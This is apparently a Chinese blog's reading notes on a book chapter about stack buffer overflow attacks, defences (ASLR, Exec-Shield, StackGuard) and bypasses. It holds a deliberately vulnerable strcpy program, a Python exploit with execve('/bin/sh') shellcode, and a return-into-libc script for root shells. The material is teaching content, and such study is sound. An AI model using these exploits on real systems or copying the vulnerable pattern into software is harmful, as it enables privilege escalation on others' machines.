《有趣的二进制:软件安全与逆向分析》读书笔记:利用软件的漏洞进行攻击

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《有趣的二进制:软件安全与逆向分析》读书笔记:利用软件的漏洞进行攻击相关的知识,希望对你有一定的参考价值。

目录

前言

本篇继续阅读学习《有趣的二进制:软件安全与逆向分析》,本章是利用软件的漏洞进行攻击,简单介绍了缓冲区溢出漏洞的原理和示例,然后给出了一些防御措施,最后介绍了对防御机制的绕过方法

一、利用缓冲区溢出来执行任意代码

1、缓冲区溢出示例

缓冲区溢出(buffer overflow):最有名的漏洞之一,输入的数据超出了程序规定的内存 范围,数据溢出导致程序发生异常

一个简单例子

#include <string.h>

int main(int argc, char *argv[])

    char buff[64];
    strcpy(buff, argv[1]);
    return 0;


这个程序为 buff 数组分配了一块 64 字节的内存空间,但传递给程序的 参数 argv[1] 是由用户任意输入的,因此参数的长度很有可能会超过 64 字节

因此,当用户故意向程序传递一个超过 64 字节的字符串时,就会在 main 函数中引发缓冲区溢出

2、让普通用户用 ROOT 权限运行程序

setuid :让用户使用程序的所有者权限来运行程序

一个 sample

#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[])

    char *data[2];
    char *exe = "/bin/sh";

    data[0] = exe;
    data[1] = NULL;

    setuid(0); //使用了setuid
    execve(data[0], data, NULL); //调用/bin/sh
    return 0;


以root权限编译

su -i
gcc -Wall sample.c -o sample
chmod 4755 sample 
ls -l sample

会看到权限变成了“rws”,这表示已经启用了 setuid

此时以普通用户权限运行这个程序时,就会用 root 权限调用 execve 函数

3、通过缓冲区溢出夺取权限示例

一个有漏洞的sample:会将输入的字符串原原本本地复制到一块只有 64 字节的内存空间中,由于字符串是由用户任意输入的,会有缓存溢出漏洞

#include <stdio.h>
#include <string.h>

unsigned long get_sp(void)

    __asm__("movl %esp, %eax");


int cpy(char *str)

    char buff[64];
    printf("0x%08lx", get_sp() + 0x10);
    getchar();
    strcpy(buff, str);
    return 0;


int main(int argc, char *argv[])

    cpy(argv[1]);
    return 0;


一个exp

#!/usr/local/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
	addr = 0x41414141
else:
	addr = int(sys.argv[1], 16)

s  = ""
s += "\\x31\\xc0\\x50\\x89\\xe0\\x83\\xe8\\x10" # 8
s += "\\x50\\x89\\xe3\\x31\\xc0\\x50\\x68\\x2f" #16
s += "\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e" #24
s += "\\x89\\xe2\\x31\\xc0\\x50\\x53\\x52\\x50" #32
s += "\\xb0\\x3b\\xcd\\x80\\x90\\x90\\x90\\x90" #40
s += "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90" #48
s += "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90" #56
s += "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90" #64
s += "\\x90\\x90\\x90\\x90"+pack('<L',addr) #72

sys.stdout.write(s)

将 exploit.py 的输出结果输入给 sample.c,我们就成功地以 root 权限运行了 /bin/sh

./sample "`python exploit.py bfbfebe8`"

4、执行任意代码的原理

在函数调用的结构中会用到栈的概念

一个sample:

  • func 函数有三个参数,分别传递了 1、2、3 三个数字
  • func 函数内部没有进行任何处理
void func(int x, int y, int z)

    int a;
    char buff[8];


int main(void)

    func(1, 2, 3);
    return 0;


查看汇编

	.file	"sample4.c"
	.text
	.p2align 4,,15
.globl func
	.type	func, @function
func:
	pushl	%ebp		保存ebp
	movl	%esp, %ebp	将ebp移动到esp的位置
	subl	$16, %esp
	leave				恢复ebp和esp
	ret					跳转到调用该函数的位置
	.size	func, .-func
	.p2align 4,,15
.globl main
	.type	main, @function
main:
	leal	4(%esp), %ecx
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	pushl	%ecx
	subl	$12, %esp	先将参数放入栈中
	movl	$3, 8(%esp)	参数3
	movl	$2, 4(%esp)	参数2
	movl	$1, (%esp)	参数1
	call	func		调用func
	movl	$0, %eax
	addl	$12, %esp
	popl	%ecx
	popl	%ebp
	leal	-4(%ecx), %esp
	ret
	.size	main, .-main
	.ident	"GCC: (GNU) 4.2.2 20070831 prerelease [FreeBSD]"

当调用 func 函数时,在跳转到函数起始地址的瞬间,栈的情形如下图 所示:


接下来, push ebpesp 继续递减,为函数内部的局部变量分配内存空间


这时,如果数据溢出,超过了原本分配给数组 buff 的内存空间,数组 buff 后面的 %ebpret_addr 以及传递给 func 函数的参数都会被溢出的数据覆盖掉

ret_addr 存放的是函数逻辑结束后返回 main 函数的目标地址。也就是说,如果覆盖了 ret_addr,攻击者就可以让程序跳转到任意地址。如果攻击者事先准备一段代码,然后让程序跳转到这段代码,也就相当于成功攻击了“可执行任意代码的漏洞”

5、攻击代码示例

一个能够启动 /bin/sh 的sample

#include <unistd.h>

int main(void)

    char *data[2]; //声明一个 char 型的指针数组
    char sh[] = "/bin/sh";

    data[0] = sh; //在 data[0] 中存入 /bin/sh 字符串的指针
    data[1] = NULL; //在 data[1] 中存入 NULL

    execve(sh, data, NULL);
    return 0;


二、防御攻击的技术

1、ASLR

地址空间布局随机化(Address Space Layout Randomization,ASLR):一种对栈、模块、动态分配的内存空间等的地址(位置)进行随机配置的机制,属于操作系统的功能

一个test:在启用 ASLR 的状态下,反复运行这个程序,我们会发现每次显示的地址都不同

// $ gcc test00.c -o test00
#include <stdio.h>
#include <stdlib.h>
unsigned long get_sp(void)

  __asm__("movl %esp, %eax");

int main(void)

  printf("malloc: %p\\n", malloc(16));
  printf(" stack: 0x%lx\\n", get_sp());
  return 0;

	

当启用 ASLR 时,程序所显示的地址每次都不同,因此,我们无法将正确的地址传递给 exp,也就无法成功夺取系统权限了

2、Exec-Shield

Exec-Shield :一种通过“限制内存空间的读写和执行权限”来防御攻击的机制,除存放可执行代码的内存空间以外,对其余内存空间尽量禁用执行权限

  • 通常情况下我们不会在用作栈的内存空间里存放可执行的机器语言代码,因此我们可以将栈空间的权限设为可读写但不可执行
  • 在代码区域中存放的机器语言代码,通常情况下也不需要在运行时进行改写,因此我们可以将这部分内存的权限设置为不可写入
  • 这样一来,即便我们将 shellcode 复制到栈,如果这些代码无法执行, 那么就会产生 Segmentation fault,导致程序停止运行

注:要在系统中查看某个程序进程内存空间的读写和执行权限,在程序运行时输出 /proc/<PID>/maps 就可以

3、StackGuard

StackGuar:一种在编译时在各函数入口和出口插入用于检测栈数据完整性的机器语言代码的方法,它属于编译器的安全机制

一个示例

	.file	"test.c"
	.text
.globl get_sp
	.type	get_sp, @function
get_sp:
	pushl	%ebp
	movl	%esp, %ebp
#APP
# 5 "test.c" 1
	movl %esp, %eax
	addl $0x58, %eax
# 0 "" 2
#NO_APP
	popl	%ebp
	ret
	.size	get_sp, .-get_sp
	.section	.rodata
.LC0:
	.string	"0x%08lx"
	.text
.globl main
	.type	main, @function
main:
	pushl	%ebp
	movl	%esp, %ebp
	andl	$-16, %esp
	subl	$64, %esp
	movl	12(%ebp), %eax
	movl	%eax, 28(%esp)
	movl	%gs:20, %eax		每次运行时%gs:20中都会存入一个随机数
	movl	%eax, 60(%esp)		将随机值添加到栈的最后,由于 60(%esp) 后面就是 ebp 和 ret_addr, 因此这样的配置可以保护关键地址的数据不被篡改
	xorl	%eax, %eax
	call	get_sp
	movl	$.LC0, %edx
	movl	%eax, 4(%esp)
	movl	%edx, (%esp)
	call	printf
	call	getchar
	movl	28(%esp), %eax
	addl	$4, %eax
	movl	(%eax), %eax
	movl	%eax, 4(%esp)
	leal	44(%esp), %eax
	movl	%eax, (%esp)
	call	strcpy
	movl	$0, %eax
	movl	60(%esp), %edx		将栈的最后一个值
	xorl	%gs:20, %edx		与%gs:20进行对比
	je	.L5						如果一致则跳转到.L5
	call	__stack_chk_fail	否则跳转到强制终止代码
.L5:
	leave
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu 4.4.3-4ubuntu5) 4.4.3"
	#.section	.note.GNU-stack,"",@progbits

简单来说,StackGuard 机制所保护的是 ebpret_addr,是一种针对典型栈缓冲区溢出攻击的防御手段

三、 绕开安全机制的技术

1、Return-into-libc

Return-into-libc 是一种破解 Exec-Shield 的方法

  • 思路:即便无法执行任意代码,最终只要能够运行任意程序,也可以夺取系统权限
  • 原理:通过调整参数和栈的配置,使得程序能够跳转到 libc.so 中的 system 函数以及 exec 类函数,借此来运行 /bin/sh 等 程序。

exp如下:system 函数的返回目标设为 exit,并将 /bin/sh 的地址作为参数传递过去

#!/usr/bin/python

import sys
from struct import *

if len(sys.argv) != 2:
	addr = 0x41414141
else:
	addr = int(sys.argv[1], 16) + 0x08

fsystem = int("<16进制system地址>", 16)
fexit   = int("<16进制exit地址>", 16)

data  = "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
data += "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
data += "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
data += "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"
data += pack('<L', fsystem)
data += pack('<L', fexit)
data += pack('<L', addr)
data += "/bin/sh"

sys.stdout.write(data)

2、ROP

面向返回编程(Return-Oriented-Programming,ROP):利用未随机化的那些模块内部的汇编代码,拼接出我们所需要的程序逻辑,第5章再提

结语

主要是最经典最基础的缓冲区溢出的介绍,然后有些基础防御和绕过

以上是关于《有趣的二进制:软件安全与逆向分析》读书笔记:利用软件的漏洞进行攻击的主要内容,如果未能解决你的问题,请参考以下文章

《有趣的二进制:软件安全与逆向分析》读书笔记:利用软件的漏洞进行攻击

《有趣的二进制:软件安全与逆向分析》读书笔记:使用工具探索更广阔的世界

《有趣的二进制:软件安全与逆向分析》读书笔记:使用工具探索更广阔的世界

《有趣的二进制:软件安全与逆向分析》读书笔记:使用工具探索更广阔的世界

《有趣的二进制:软件安全与逆向分析》读书笔记:通过逆向工程学习如何读懂二进制代码

《有趣的二进制:软件安全与逆向分析》读书笔记:通过逆向工程学习如何读懂二进制代码